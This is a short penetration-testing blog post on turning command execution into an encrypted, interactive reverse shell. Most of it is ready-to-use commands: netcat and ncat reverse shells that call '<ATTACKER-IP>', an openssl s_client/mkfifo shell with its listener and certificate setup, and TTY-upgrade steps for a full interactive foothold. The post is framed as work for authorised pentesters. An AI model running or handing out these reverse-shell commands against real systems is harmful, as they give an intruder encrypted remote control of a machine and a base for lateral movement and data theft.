Reverse shell and some magic

From simple command injection to comfortable shell

Source: Photo by Wynand van Poortvliet on Unsplash

As soon as a system with (remote) code execution is found in a pentest (or in a real attack), a shell is uploaded into the system, either to become an administrator with privilege escalation or to attack further systems via lateral movement. This is a very good starting point for the attacker, since the attacks can now take place “from the inside” instead of “from the outside”.

In many tutorials and unfortunately also in the productive environment, netcat ( nc ) is used to establish a connection between the attacker system and the target system. The attacker starts with nc -lpv <PORT> a listener and spawns with nc -e /bin/sh <ATTACKER-IP> <PORT> a shell on the target system. The problem is that this connection is unencrypted. All data that is transported via this reverse shell (passwords, keys, personal data, critical company internal information, etc.) are published more or less. This is not acceptable in the field of penetration testing.

The connection for the reverse shell should therefore be encrypted. Although encryption does not protect against an MITM attack, because most of the tools currently do not support certificate pinning, the risk is significantly lower than with an unencrypted connection.

As an alternative to nc there is ncat . The problem is, however, that ncat is not installed on every Linux just so. That is, It must often be loaded as static binary (GitHub, 3MB!). This is a bit tedious for a long time, but works the same way:

Listener: ncat --ssl -l <PORT>

Shell: ncat --ssl <ATTACKER-IP> <PORT> -c /bin/sh

As a penetration tester you have a goal: A comfortable as well as a safe shell. For example:

  • Autocomplete with tabulator
  • Command repeat via arrow keys
  • Terminate commands with STRG+C
  • Modern crypto

So I looked for an alternative to nc and ncat and tried it with openssl.


Before the listener can be started, a key pair and a certificate must be generated.

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Reverse Shell

Listener: openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>

Shell: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s

From sh to bash

Upgrade shell: SHELL=/bin/bash script -q /dev/null

Customize terminal

Set terminal: export TERM=xterm-256color

Switch to the background with STRG+Z.

Configure local shell: stty raw -echo

Change to the foreground with fg and reset the TTY with reset.

Now it is a full-featured, interactive shell with encryption.


I based this article on the following sources, which contribute to deeper understanding.